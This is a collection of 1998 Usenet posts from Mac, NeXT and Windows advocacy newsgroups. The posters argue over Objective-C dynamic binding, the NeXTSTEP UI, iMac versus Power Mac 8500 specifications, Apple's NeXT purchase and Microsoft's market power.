References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net> <6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net> <6nda93$ln8$10@ns3.vrx.net> <359A896A.3805E57E@exu.ericsson.se> <6ndi4u$ejq$1@ns3.vrx.net> <359A9A36.C215C64F@exu.ericsson.se> <6nfl29$46q$1@ns3.vrx.net> <359BA018.8432F96A@nstar.net> <6ngagb$vb53@onews.collins.rockwell.com> <359BD1BD.36CA316B@exu.ericsson.se> <6ng4m2$g0n$1@ns3.vrx.net>
Organization: pv
Date: Fri, 03 Jul 1998 10:05:41 GMT
NNTP-Posting-Date: Fri, 03 Jul 1998 12:05:41 MET DST
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <359BD1BD.36CA316B@exu.ericsson.se> Michael Peck claimed:
> > > Given the message [someObject foo:10], the compiler and linker don't
> > > need ANY information about "someObject" or "foo:". It may very well
> > > be that "someObject" and "foo:" do not even exist in the program.
> > > Perhaps they are loaded as a plug-in.
> >
> > Nothing new here.
>
> Balogna, in general programming circles this is TERRIBLY new, spawing whole
> industries like Java and CORBA. This is new. This is the key to the whole
> system.
Not new. Smalltalk early 70:ies and Simula 67. Lisp used dynamic binding
well before that.
> > Nothing new here.
>
> This is absolutely new, as your questions to me clearly demonstrated.
> Every time I said "you freeze out the message" you asked (100% of the time)
> "well, isn't that a callback?". No, it is not a callback. The GRAPHICAL
> OBJECTS can make METHOD CALLS directly. That is not a callback! This IS
> utterly unlike anything out there with the exception of JavaBeans.
- A callback is a pointer to a function.
- A ST (or ObjC) method is a pointer to a function.
- A C++ virtual member function is a pointer to a function.
They're all the same. In all three cases the actual function to call is
determined dynamically at runtime - dynamic binding. The difference is
in how to find the address of the function.
A callback is managed by the programmer. He manually determines which
function to call and assigns an address. The ST-method is found by a
search in an area determined by the target object. The search is
performed by the language runtime, using the method name (perhaps in
coded form) as the key. The C++ virtual function is identical, but since
the language allows more information to be used in the search it can be
slightly more efficient, often using definition order within the class
as key rather than name/signature, but the search could just as well be
done exactly as in ST/ObjC.
In all cases (method/virtual/callback) the search results in a pointer
that contains the address of a function. This function is then called as
any other function.
No magic. Nothing new.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
Date: Fri, 03 Jul 1998 07:28:41 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Message-ID: <joe.ragosta-0307980728410001@elk35.dol.net>
References: <6ndql0$a7u$4@bertrand.ccs.carleton.ca> <359a800f.17939822@hydra> <joe.ragosta-0107981511100001@wil51.dol.net> <359b8d6f.1873915@hydra> <joe.ragosta-0207981128480001@wil55.dol.net> <359bcec6.18603503@hydra>
In article <359bcec6.18603503@hydra>, brother@trinity.mensa.net (Identity
Withheld) wrote:
> On Thu, 2 Jul 1998 10:28:48 -0500 , joe.ragosta@dol.net (Joe Ragosta)
> wrote:
>
> >In article <359b8d6f.1873915@hydra>, brother@trinity.mensa.net (Identity
> >Withheld) wrote:
> >
> >>
> >> AT&T has the source code. They have their own version of NT that runs
> >> as a process on Unix. This feat would not be possible if they didn't
> >> have the source code. No, I don't have a URL.
> >
> >Let's see. AT&T claims that they don't have the source code in a court
> >document. You claim that they do without evidence.
> >
> >Which one do you think is more credible?
>
> Point granted. To give a reference would be to violate contractual
> obligations.
Which means nothing. Anyone can state that.
I don't care what you know or pretend to know. AT&T filed a law suit
claiming that they didn't get the code. Are you saying they're lying? They
spent millions of dollars on a lawsuit and could potentially lose many
more millions if they're lying when MS sues them for slander. Why would
they do this.
>
> >BTW, if AT&T got just enough of th esource code to set it up as a process
> >under Unix, but not all of it, then AT&T could be correct in their claim
> >even if MS gave them some source code.
>
> Joe, how much do you know about NT architecture? It would be
> *impossible* to compile a version of NT that runs as a process under
> another system without full access to kernel code.
And this doesn't refute anything I said. Perhaps they _did_ get the kernel
code. Last time I checked, that isn't all of NT.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 3 Jul 1998 06:02:53 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6nhs6d$hpu$1@lwnws01.ne.highway1.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de> <35911d96.0@206.25.228.5> <SCOTT.98Jun29125823@slave.doubleu.com> <6n8vma$8b4$1@lwnws01.ne.highway1.com> <slrn6pihqq.rei.sal@panix3.panix.com> <6nc44r$aqu$2@lwnws01.ne.highway1.com> <6nh5e4$b53$3@blue.hex.net>
cbbrowne@news.hex.net (Christopher Browne) wrote:
> On 1 Jul 1998 01:41:47 GMT, John Kheit <jkheit@mediaone.net>
> wrote:
> >The great thing with progress, is we can oftimes be choosey;
> >taking the good and ignoring the bad.
> I disagree. You don't always get that choice. Good and ill
> effects are often not readily separable.
I disagree that you disagree. :) That's why I put the word
"oftimes" and not "always" as you seem to have substituted. Clearly
it's not always the case, but many times is.
> - Crypto technology allows enhanced privacy for both good folk
> as well as criminals of whatever description.
I don't know enough about this to make a worthwhile contribution.
> - Spell checkers and fancy word processors make documents look
> better, which may be good for those with valuable/correct material,
> but which also enhances the appearance of material that is utter
> rubbish.
I disagree, just because something looks good, and has correct
spelling does little to endear me to the substance of the work.
YMMV.
> And the web has *not* resulted in providing ways for "average
> joes" to be "heard by the public at large."
I disagree.
> Usenet and the Web have provided a new forum where some new
> 'celebrities' have been able to emerge. The nature of that
> 'celebrity' status is different from what is seen in other media,
> as the aspects of the individual that are displayed are different.
They were average joes before they emerged. There's that one guy
(whose name I forget) that was recently invited (grilled) at some
national press corp thing on CSPAN. He's a regular joe that decided
he wanted to report stuff on the web. It took off. He's widely
heard. There's the mac guy in these groups (I'm sorry I forget
his name too) that has a web site (Makido something or other) who
puts out his own articles and has quite a following. Seems average
joe enough to me (I don't know for sure, I could be wrong). But
there are lots of examples. Nothing stops you from coming up with
an idea, putting it on the web, and getting heard.
> - In radio, aural "appearance" is critical. The people that are
> heard are those that have "good voices."
> - In television and movies, visual appearance is critical. And
> thus Hollywood is filled with "the beautiful people."
> - In written literature, the ability to express ideas coherently
> is the aspect of appearance that is critical.
> Usenet and the Web take after that last aspect.
Right, you need some ability. But *less* work is required than
getting into the previous 3 examples. Just having a good voice,
or pretty face isn't enough to get into raido and movies. You have
to know people, get to the "in" people. Wine, dine, heck knows
what else. Literature, if you want to get published, you need
"juice," a name, or something else to convince a publisher. There
are other people at every turn that are a potential obstical to
getting your message out. On the net, the ability to get on line
is your only obstacle to being heard. The bar is much lower.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@mediaone.net
Telepathy, It's coming... http://people.ne.mediaone.net/jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 3 Jul 1998 06:21:41 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6nht9l$iio$1@lwnws01.ne.highway1.com>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nem06$3cg$1@lwnws01.ne.highway1.com> <andyba-ya02408000R0207980954430001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
> And "getting" it is something which you have been unable to
> quantify or qualify. With that is mind, you can see how someone
> would be skeptical. In fact, I'm sure that if I used any one
Please *try* and get what I'm after here. I DO NOT CARE IF YOU
LIKE NEXTSTEP. The UI is dead. I don't care to convert *anyone*
to the NeXT UI. That was not the point of my posts in this thread.
I am *not* advocating the NeXT UI. I had a different purpose in
mind. So there is *no* reason for me to justify or explain this
"getting."
Now, perhaps it would be nice of me to do so. Perhaps it would be
education, and perhaps not. But that's not what I intend to do.
> operating system for three months straight, I would probably get
> used to it and maybe even like it. But if NeXTStep is actually
> superior to the Mac OS, then that superiority should at least be
> evident in a side-by-side comparison, or should be evident through
> stated examples. Saying that you need an exclusive, long-term
> experience with an OS to realize its superiority is ludicrous.
This reminds me of a lesson that Bruce Lee once had as reported in
book by another student. By this point Bruce Lee had written a
book on philosophy and integrated the best parts of many martial
arts, and was rather deep on the zen and the technical points of
these arts. He said something, and the student/interviewer would
ask/question and criticize every aspect when he was there to learn
what Bruce Lee had to profer. So he asks another S T U P I D
question, and Bruce just stops. He doesn't talk, and just looks
out. And after a while the student asks why he's being so
non-responsive to his requests. Bruce looks up and tells the
student, I'll answer your question, but I didn't there for a while
to make a point. Time and life are precious. Moments are lost,
and once a moment has expired, it can never be retrieved. It's
gone. And time is precious. And it's too precious to be wasted
on someone that is more stupid than you when that person doesn't
bother to listen to you. When that person just argues and aggrivates
thoughtlessly; especially when you're proferring something that
you've spent time on. On something that you've thought through.
At that point, that person is a thief, wasting away your moments
that would be better spent elsewhere. And so it's best not to
spend and works so hard on something that will go unappreciated
it.
I wonder if you'll learn from this lesson. Something I've spent
my time on in offering, really hoping something will be gained.
Unfortunatly, I'm rather saddened that it's unlikely.
> > Why? Because the NeXTSTEP GUI is difficult to get a grasp of
> > when you are coming to it with biases from other environments.
> Name some of these biases. Name one! As long as you keep speaking
> in such vague terms, your arguments seem to have no bearing on
> reality.
I owe you nothing.
> > It's kinda like the skip from procedural programming, to real
> > OOP programming (which very few have actually "gotten");
> Ah, but I have been able to describe the benefits of OOP to other
> people, and they have at least had some realization of the
> benefits. I didn't tell them that they would only get it after
> three months of programming, with no other languages to fall back
> on.
Very nice of you.
> > Once you "get" the environment, you find that many things are
> > tons easier and more natural and wonder "why did I ever do
> > things differently"
> Examples please. If things are so much easier and more natural,
> there should be at least ONE example of something that is superior
> that you don't need three months to figure out.
You didn't listen to a thing I expressed.
> > Not everything in life is easy to master,
> We're not talking about mastery; we're talking about realization.
> You are saying that it takes months just to realize the benefits
> of NeXTStep.
No I'm not.
> > > And no, throwing abour insults like "your ignorance is your
> > > own punishment" doens't help your case either.
> >
> > Again, I don't care. I don't want to bother advocating that
> > the NeXT UI is better, or prove to him that something is better.
> > Lemmee see. I have to bother arguing about something that I
> > know about, and he clearly does not as other "NeXTies" will
> > easily see from his posts. So in the process of arguing, I
> > have to educate, him, or you, or who cares. For this annoying
> > effort I, my reward will be annoying banter, and in the end
> > will not be appreciated one little bit.
> Gee, it seems like you would have stopped posting years ago with
> this realization. But personally, I would appreciate some evidence
> of the superiority of NeXTStep. Don't fall back on the "I'm not
> appreciated" excuse.
I owe you nothing more.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@mediaone.net
Telepathy, It's coming... http://people.ne.mediaone.net/jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 1998 20:10:12 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ngpf4$1tr$1@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net>
<6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se>
<6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net>
<6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net>
<6nda93$ln8$10@ns3.vrx.net> <359A896A.3805E57E@exu.ericsson.se>
<6ndi4u$ejq$1@ns3.vrx.net> <359A9A36.C215C64F@exu.ericsson.se>
<6nfl29$46q$1@ns3.vrx.net> <359BA018.8432F96A@nstar.net>
<6ngagb$vb53@onews.collins.rockwell.com> <359BD1BD.36CA316B@exu.ericsson.se>
<6ng4m2$g0n$1@ns3.vrx.net> <tim-0207981859310001@jump-k56flex-1006.jumpnet.com>
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Cc: tim@jumpnet.com
In <tim-0207981859310001@jump-k56flex-1006.jumpnet.com> Tim Olson claimed:
> Well, it was somewhat new in 1972 - 1980 when Smalltalk appeared.
Fair enough, I'm far too willing to overlook it. I have looked at the
original ST80 systems though and I do not see a lot of the design features
you find in OS, in general it was a lot flatter.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 1998 20:10:59 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ngpgj$1tr$2@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net>
<6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se>
<6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net>
<6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net>
<6nda93$ln8$10@ns3.vrx.net> <359A896A.3805E57E@exu.ericsson.se>
<6ndi4u$ejq$1@ns3.vrx.net> <359A9A36.C215C64F@exu.ericsson.se>
<6nfl29$46q$1@ns3.vrx.net> <359BA018.8432F96A@nstar.net>
<6ngagb$vb53@onews.collins.rockwell.com> <359BD1BD.36CA316B@exu.ericsson.se>
<6ng4m2$g0n$1@ns3.vrx.net> <359BF96E.1ACEFEAF@exu.ericsson.se>
<6ngcn9$lss$1@ns3.vrx.net> <359C047F.2D1BA47C@exu.ericsson.se>
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Cc: eusmpec@exu.ericsson.se
In <359C047F.2D1BA47C@exu.ericsson.se> Michael Peck claimed:
> Whatever. It would be boorish to complain at this point, so cheers :-)
Appology accepted. Let's move on.
Maury
Date: Thu, 02 Jul 1998 19:46:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Message-ID: <joe.ragosta-0207981946550001@elk59.dol.net>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se>
In article <359BF904.AB972774@exu.ericsson.se>, Michael Peck
<eusmpec@exu.ericsson.se> wrote:
> Joe Ragosta wrote:
>
> > > Quick question: have you actually emailed Dr. Mankiw personally?
> >
> > No. But I'm not the one proposing all sorts of things about why he wrote
> > what he did and I'm also not the person who's arguing that his comments
> > are somehow more meaningful if he wrote them with MS Word than with
> > WordPerfect. You're the one taking those positions.
>
> And what is your point? I could just as easily say, "I'm not the person
> who's arguing that his comments are somehow 'pure, unadulterated
> bullshit'", now, couldn't I?
>
> The burden of argument is on you for two reasons:
>
> 1) you haven't offered anything but polemics for your position
> 2) you're the one being critical
Let's go back to where I entered this thread.
Someone was discussing Dr. Mankiw's quote. Someone else stated that it
wasn't meaningful because he used WordPerfect to write it.
I stated that the tool he used to make a statement is completely meaningless.
You jumped all over me.
What's your point? Are you arguing that it really matters which word
processor he used or not?
If you're saying that his choice of tool somehow makes his statement more
or less meaningful, you're a moron.
If you're saying that his choice of tool doesn't matter, then you're
agreeing with the statement I made that you jumped all over me for--and
you're still a moron.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: AWESOME PRICE ON G3!-SORRY!-imac is better!
Date: Fri, 03 Jul 1998 17:31:21 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R0307981731210001@news.enetis.net>
References: <macghod-3006981443330001@sdn-ar-001casbarp061.dialsprint.net> <jpolaski-0107980900420001@d151-216.ce.mediaone.net> <359b270f.0@carrera> <macghod-0307981314210001@sdn-ar-001casbarp294.dialsprint.net>
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In article <macghod-0307981314210001@sdn-ar-001casbarp294.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <359b270f.0@carrera>, court@nospam!intergate.bc.ca wrote:
>
> > Sorry pal, but I must disagree with you. The imac is a much better deal.
> > For 299 more you get a NEW (longer)warranty machine including the 15inch
> > monitor, modem faster bus 4 gig hard drive, fast 100 base-t, more ram
> > (32 meg) and faster G3-233 cpu. And a cool case to boot!
>
>
> Well, I disagree with you. Yes, the warranty part is much better.
> a) 15 inch monitor? no on should use such a small monitor
I dunno, I'm still on a 14" monitor doing graphics arts... mind you my
graphics rarely get above 3000X3000 pixels. :) A small monitor does
nothing to slow my effectivness to work with physicaly large images.
> b) yes it has a 4 gig hard drive, but its ide, the 8500's hard drive is a
> fast scsi 2 hard drive, plus it has the internal fast scsi so you can add
> more internal fast scsi drives
It's also a consumer grade system... top end disk access isn't somthing the
iMac's intended audience will be asking for.
> c) yes the 100 base t is faster than the 8500's 10 base t
And a bit pointless in my humble opinion. I transfer 20 Meg files over
10Base-T every single day... no slow down, no problem. With MacOS 8.5 this
will be even less of an issue. I think Apple should save $50 and not
include 100Base-T.
> d) While technically the g3 233 imac is faster than the powerlogic g3 220
> mhz card, in reality the card is faster because it has controls to switch
> it up to 300 mhz, and I assume 250 -266 mhz is easily attainable, WITHOUT
> violating its warranty. So actually the powerlogic is going to be
> considerably faster
True.
> e) the 8500 has a video editing av card that the imac doesnt have
Again, the iMac is a consumer grade system, not a graphics workstation.
> f) 8500 has floppy standard :P
I hate that. Apple should have included a floppy drive.
> g) 8500 has way more hard drive bays
Again, the iMac is a consumer system.. moms, dads, kids, teachers.... not
server professionals who need 22 Gig RAID array's.
> h) 8500 has more pci slots
Consumer system.
> i) 8500 can use OTHER monitors, not just the 15 inch that comes with the imac.
Dosn't the iMac have PCI slots?
> k) 8500 is way more expandable ram wise.
Consumer syst... ahh forget it. I agree with you Zico, just get the 8500!
It's a more flexible system and will be better over a longer period of time
for most users.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: rosdan@aol.com (Rosdan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Java & YB (was Re: Next purchase a mistake)
Message-ID: <1998070322500200.SAA27280@ladder01.news.aol.com>
Date: 3 Jul 1998 22:50:02 GMT
Organization: AOL http://www.aol.com
References: <35966FBC.D6AF1D44@trilithon.com>
Well, this thread has been dead for a while so let me ask this question. Did
anyone ever agrue that the NeXT purchase was not a mistake ?
I just re-read the entire thread (182 posts). Here were the counter arguments:
1) The NeXT purchase was worth 400M for the people.
a) The cohesive team of 300 is more valuable that the 300 most talented
individuals in Silicon Valley.
- A 1M signing bounus would have attracted any 300 people you can name
including the entire team from NeXT
2) The sum is more than the parts. It was valuable for Apple to buy the
integrated package from NeXT even if Apple already had the parts
- Then why is Apple replacing every one of the parts purchased from NeXT ? New
Mach kernel. New Display system. New file system. New scripting system...
3) The purchase was worth it for UNIX and POSIX support that is essential in
some markets
- Apple has announced the removal of a command line interface meaning that all
of thos POSIX/UNIX apps like Apache, gnutar, PGP will not work anyway
4) Apple is just using Carbon as a transition the same way Microsoft used Win32
after Win16. The future is YellowBox and Apple needs a future. YellowBox
should be compared to MFC and it is superior in every regard.
- The difference is that MFC is built on top of Win32 and YellowBox is not
built on top of Carbon and probably could not be built that way. YellowBox is
superior but Apple is assuring that it has no future and is NOT the future of
Apple.
Apple customers want protected memory, preemptive multi talsking,
compatibility, moder networking, even possibly multi user features. Apple may
well have been incompetent and failed to deliver those things in 1989 when NeXT
did with equivelent hardware. So, 10 or 11 years late, Apple has spent way to
much to buy a lot of technology that they have since scrapped in favore of
alternatives.
When MacOS-X ships, will it contain a single line of NeXT code out side the
YellowBox ? How long will it be before Apple drops YellowBox due to lack of
customer interest ?
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: AWESOME PRICE ON G3!-SORRY!-imac is better!
Date: Fri, 03 Jul 1998 13:39:16 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-0307981339160001@sdn-ar-001casbarp058.dialsprint.net>
References: <macghod-3006981443330001@sdn-ar-001casbarp061.dialsprint.net> <jpolaski-0107980900420001@d151-216.ce.mediaone.net> <359b270f.0@carrera>
In article <359b270f.0@carrera>, court@nospam!intergate.bc.ca wrote:
> Sorry pal, but I must disagree with you. The imac is a much better deal.
> For 299 more you get a NEW (longer)warranty machine including the 15inch
> monitor, modem faster bus 4 gig hard drive, fast 100 base-t, more ram
> (32 meg) and faster G3-233 cpu. And a cool case to boot!
Well, I disagree with you. Yes, the warranty part is much better.
a) 15 inch monitor? no on should use such a small monitor
b) yes it has a 4 gig hard drive, but its ide, the 8500's hard drive is a
fast scsi 2 hard drive, plus it has the internal fast scsi so you can add
more internal fast scsi drives
c) yes the 100 base t is faster than the 8500's 10 base t
d) While technically the g3 233 imac is faster than the powerlogic g3 220
mhz card, in reality the card is faster because it has controls to switch
it up to 300 mhz, and I assume 250 -266 mhz is easily attainable, WITHOUT
violating its warranty. So actually the powerlogic is going to be
considerably faster
e) the 8500 has a video editing av card that the imac doesnt have
f) 8500 has floppy standard :P
g) 8500 has way more hard drive bays
h) 8500 has more pci slots
i) 8500 can use OTHER monitors, not just the 15 inch that comes with the imac.
k) 8500 is way more expandable ram wise.
(the 8500 we are talking about was a 8500 with a powerlogic g3 220 card
from smalldog, dont email me asking for the address, the special is over)
--
So many pedestrians, so little time.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: AWESOME PRICE ON G3!-SORRY!-imac is better!
Date: Fri, 03 Jul 1998 13:14:20 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-0307981314210001@sdn-ar-001casbarp294.dialsprint.net>
References: <macghod-3006981443330001@sdn-ar-001casbarp061.dialsprint.net> <jpolaski-0107980900420001@d151-216.ce.mediaone.net> <359b270f.0@carrera>
In article <359b270f.0@carrera>, court@nospam!intergate.bc.ca wrote:
> Sorry pal, but I must disagree with you. The imac is a much better deal.
> For 299 more you get a NEW (longer)warranty machine including the 15inch
> monitor, modem faster bus 4 gig hard drive, fast 100 base-t, more ram
> (32 meg) and faster G3-233 cpu. And a cool case to boot!
Well, I disagree with you. Yes, the warranty part is much better.
a) 15 inch monitor? no on should use such a small monitor
b) yes it has a 4 gig hard drive, but its ide, the 8500's hard drive is a
fast scsi 2 hard drive, plus it has the internal fast scsi so you can add
more internal fast scsi drives
c) yes the 100 base t is faster than the 8500's 10 base t
d) While technically the g3 233 imac is faster than the powerlogic g3 220
mhz card, in reality the card is faster because it has controls to switch
it up to 300 mhz, and I assume 250 -266 mhz is easily attainable, WITHOUT
violating its warranty. So actually the powerlogic is going to be
considerably faster
e) the 8500 has a video editing av card that the imac doesnt have
f) 8500 has floppy standard :P
g) 8500 has way more hard drive bays
h) 8500 has more pci slots
i) 8500 can use OTHER monitors, not just the 15 inch that comes with the imac.
k) 8500 is way more expandable ram wise.
(the 8500 we are talking about was a 8500 with a powerlogic g3 220 card
from smalldog, dont email me asking for the address, the special is over)
--
So many pedestrians, so little time.
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 4 Jul 1998 00:27:16 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6njst4$smb$1@samsara0.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0307981144080001@elk62.dol.net> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se>
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In article <359D156E.CE526220@exu.ericsson.se> Michael Peck,
eusmpec@exu.ericsson.se writes:
>Abusing liberties requires *FORCE*, Mr. Hermanson. As far as I know,
>Microsoft has no right to wield guns, imprison you, remove you from your
>home, walk on your personal property, or beat you into physical
>submission. As far as I know, Microsoft has no right to manacle you,
>force you to testify against yourself in an audit, force you to appear
>in court, or to require of you that you pay for a lawyer when conducting
>business relations. As far as I know, Microsoft has no right to tax the
>things you buy, to restrict your ability to buy those things, or to
>restrict your ability to speak freely when you buy those things.
Well I see no need to respond to Eric this round on my own behalf since
Michael Peck has done so this eloquently.
Keep up the good work.
Matthew Cromer
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: AWESOME PRICE ON G3!-SORRY!-imac is better!
Date: Fri, 03 Jul 1998 16:51:02 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-0307981651020001@sdn-ar-001casbarp302.dialsprint.net>
References: <macghod-3006981443330001@sdn-ar-001casbarp061.dialsprint.net> <jpolaski-0107980900420001@d151-216.ce.mediaone.net> <359b270f.0@carrera> <macghod-0307981314210001@sdn-ar-001casbarp294.dialsprint.net> <stone-ya02408000R0307981731210001@news.enetis.net>
In article <stone-ya02408000R0307981731210001@news.enetis.net>,
stone@stoneentertainment.com (Kevin Stone) wrote:
> In article <macghod-0307981314210001@sdn-ar-001casbarp294.dialsprint.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
why are you calling me zico?
> Consumer syst... ahh forget it. I agree with you Zico, just get the 8500!
> It's a more flexible system and will be better over a longer period of time
> for most users.
>
> -Kevin Stone
> Stone Entertainment
> www.StoneEntertainment.com
> (no email please)
--
So many pedestrians, so little time.
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Fri, 03 Jul 1998 17:58:58 -0700
Organization: Digital Universe Corporation
Message-ID: <359D7E51.1721D116@alum.mit.edu>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu> <359D156E.CE526220@exu.ericsson.se>
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NNTP-Posting-Date: 4 Jul 1998 01:01:22 GMT
Michael Peck wrote:
> > Eric Hermanson wrote:
>
> Why does this matter? Quite seriously, competition ensures stability.
> Why do you say that the certain outcome of competition is *not*
> competition? This doesn't make any sense to me. If I allow my
> competitors to win, by definition, I am *not* a competitor.
I didn't say that. I said, in effect, that once a company attains an advantage that
creates an un-even "playing field", then that company has the power to restrict
competition. My ideas are certainly not new. Sherman had the same line of thinking a
century ago.
> I hear this a lot. Honestly, I have never heard it explained just how
> this chaos would come about as a result of free market competition.
Chaos would not come about as a result of the free market competition itself, but it
may (or may not) come about when a company, through whatever means, gains a
marketshare that would allow them to restrict competition and abuse their powers at
other levels. Note that this line of reasoning applies to entities other than
business entities. That is why the government has a built in checks-and-balances
system. The underlying need for all of these measures is simply that the state of
human nature requires it.
> How can a large company abuse my liberties without breaking one of the
> two fundamental laws described above (i.e. do all that you say you will do, and do
> not encroach on
> the person or property of your neighbor)?
